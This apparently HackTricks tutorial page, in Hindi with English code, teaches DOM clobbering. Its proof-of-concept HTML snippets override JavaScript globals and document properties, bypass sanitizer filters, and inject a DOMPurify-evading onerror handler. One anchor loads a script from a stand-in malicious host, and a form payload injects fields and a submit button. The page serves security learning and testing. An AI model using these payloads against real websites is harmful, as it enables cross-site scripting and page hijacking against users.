Dom Clobbering

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

बुनियादी बातें

यह संभव है कि HTML टैग में id और name गुणों के साथ JS संदर्भ के भीतर वैश्विक चर उत्पन्न किए जाएं।

html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>

केवल कुछ तत्व name attribute का उपयोग करके वैश्विक को clobber कर सकते हैं, वे हैं: embed, form, iframe, image, img और object

दिलचस्प बात यह है कि जब आप एक form element का उपयोग करके एक चर को clobber करते हैं, तो आपको तत्व का toString मान मिलेगा: [object HTMLFormElement] लेकिन anchor के साथ toString एंकर का href होगा। इसलिए, यदि आप a टैग का उपयोग करके clobber करते हैं, तो आप string के रूप में व्यवहार करते समय value को control कर सकते हैं:

html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>

Arrays & Attributes

यह array और object attributes को clobber करना भी संभव है:

html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>

एक 3rd विशेषता (जैसे x.y.z) को क्लॉबर करने के लिए, आपको एक form का उपयोग करने की आवश्यकता है:

html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>

अधिक विशेषताओं को क्लॉबर करना ज्यादा जटिल है लेकिन फिर भी संभव है, iframes का उपयोग करके:

html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>

warning

style टैग का उपयोग iframe को रेंडर करने के लिए पर्याप्त समय देने के लिए किया जाता है। इसके बिना आपको undefined का अलर्ट मिलेगा।

गहरे गुणों को क्लॉबर करने के लिए, आप html एन्कोडिंग के साथ iframes का उपयोग कर सकते हैं इस तरह:

html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>

फिल्टर बायपासिंग

यदि एक फ़िल्टर किसी नोड के गुणों के माध्यम से लूपिंग कर रहा है जैसे कि document.getElementByID('x').attributes तो आप .attributes गुण को क्लॉबर कर सकते हैं और फिल्टर को टूट सकते हैं। अन्य DOM गुण जैसे tagName, nodeName या parentNode और भी क्लॉबर करने योग्य हैं।

html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>

Clobbering window.someObject

जावास्क्रिप्ट में यह सामान्य है कि:

javascript
var someObject = window.someObject || {}

पृष्ठ पर HTML को संशोधित करने से someObject को एक DOM नोड के साथ ओवरराइड करना संभव हो जाता है, जिससे सुरक्षा कमजोरियाँ उत्पन्न हो सकती हैं। उदाहरण के लिए, आप someObject को एक एंकर तत्व के साथ बदल सकते हैं जो एक दुर्भावनापूर्ण स्क्रिप्ट की ओर इशारा करता है:

html
<a id=someObject href=//malicious-website.com/malicious.js></a>

एक कमजोर कोड जैसे:

html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>

यह विधि स्क्रिप्ट स्रोत का लाभ उठाकर अवांछित कोड निष्पादित करती है।

ट्रिक: DOMPurify आपको cid: प्रोटोकॉल का उपयोग करने की अनुमति देता है, जो डबल-कोट्स को URL-एन्कोड नहीं करता। इसका मतलब है कि आप एक एन्कोडेड डबल-कोट्स इंजेक्ट कर सकते हैं जो रनटाइम पर डिकोड होगा। इसलिए, कुछ इस तरह इंजेक्ट करना <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> HTML एन्कोडेड &quot; को रनटाइम पर डिकोड करेगा और एट्रिब्यूट वैल्यू से बाहर निकलकर onerror इवेंट बनाएगा

एक और तकनीक form तत्व का उपयोग करती है। कुछ क्लाइंट-साइड पुस्तकालय एक नए बनाए गए फॉर्म तत्व के एट्रिब्यूट्स की जांच करते हैं ताकि उन्हें साफ किया जा सके। हालाँकि, फॉर्म के अंदर id=attributes के साथ एक input जोड़कर, आप प्रभावी रूप से एट्रिब्यूट्स प्रॉपर्टी को ओवरराइट कर देते हैं, जिससे सेनिटाइज़र को वास्तविक एट्रिब्यूट्स तक पहुँचने से रोका जा सकता है।

आप इस प्रकार के क्लॉबरिंग का एक उदाहरण इस CTF लेख में पा सकते हैं

दस्तावेज़ वस्तु को क्लॉबर करना

दस्तावेज़ के अनुसार, DOM क्लॉबरिंग का उपयोग करके दस्तावेज़ वस्तु के एट्रिब्यूट्स को ओवरराइट करना संभव है:

Document इंटरफेस named properties का समर्थन करता है। Document वस्तु के supported property names किसी भी समय निम्नलिखित होते हैं, tree order के अनुसार, जो तत्व उन्हें योगदान देता है, बाद की डुप्लिकेट्स को नजरअंदाज करते हुए, और जब एक ही तत्व दोनों का योगदान देता है, तो id एट्रिब्यूट्स के मान पहले आते हैं:

- सभी exposed embed, form, iframe, img, और exposed object तत्वों के लिए नाम सामग्री एट्रिब्यूट का मान जो एक गैर-खाली नाम सामग्री एट्रिब्यूट है और in a document tree में है जिसमें दस्तावेज़ उनकी root है;

- सभी exposed object तत्वों के लिए id सामग्री एट्रिब्यूट का मान जो एक गैर-खाली id सामग्री एट्रिब्यूट है और in a document tree में है जिसमें दस्तावेज़ उनकी root है;

- सभी img तत्वों के लिए id सामग्री एट्रिब्यूट का मान जो एक गैर-खाली id सामग्री एट्रिब्यूट और एक गैर-खाली नाम सामग्री एट्रिब्यूट दोनों हैं, और in a document tree में हैं जिसमें दस्तावेज़ उनकी root है।

इस तकनीक का उपयोग करके आप सामान्यतः उपयोग किए जाने वाले मान जैसे document.cookie, document.body, document.children, और यहां तक कि दस्तावेज़ इंटरफेस में विधियों को जैसे document.querySelector को ओवरराइट कर सकते हैं।

javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

तत्व क्लॉबर होने के बाद लेखन

document.getElementById() और document.querySelector() के कॉल के परिणामों को एक समान id विशेषता वाले <html> या <body> टैग को इंजेक्ट करके बदला जा सकता है। इसे इस प्रकार किया जा सकता है:

html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>

इसके अलावा, इन इंजेक्टेड HTML/body टैग्स को छिपाने के लिए शैलियों का उपयोग करके, innerText में अन्य पाठ से हस्तक्षेप को रोका जा सकता है, इस प्रकार हमले की प्रभावशीलता को बढ़ाया जा सकता है:

html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

SVG की जांच से पता चला कि <body> टैग को भी प्रभावी ढंग से उपयोग किया जा सकता है:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

SVG में Chrome और Firefox जैसे ब्राउज़रों में HTML टैग के कार्य करने के लिए, एक <foreignobject> टैग आवश्यक है:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Clobbering Forms

यह संभव है कि आप किसी फॉर्म के अंदर नए प्रविष्टियाँ जोड़ें केवल कुछ टैग्स के अंदर form एट्रिब्यूट को निर्दिष्ट करके। आप इसका उपयोग फॉर्म के अंदर नए मान जोड़ने और यहां तक कि एक नया बटन जोड़ने के लिए कर सकते हैं इसे भेजने के लिए (क्लिकजैकिंग या कुछ .click() JS कोड का दुरुपयोग):

html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें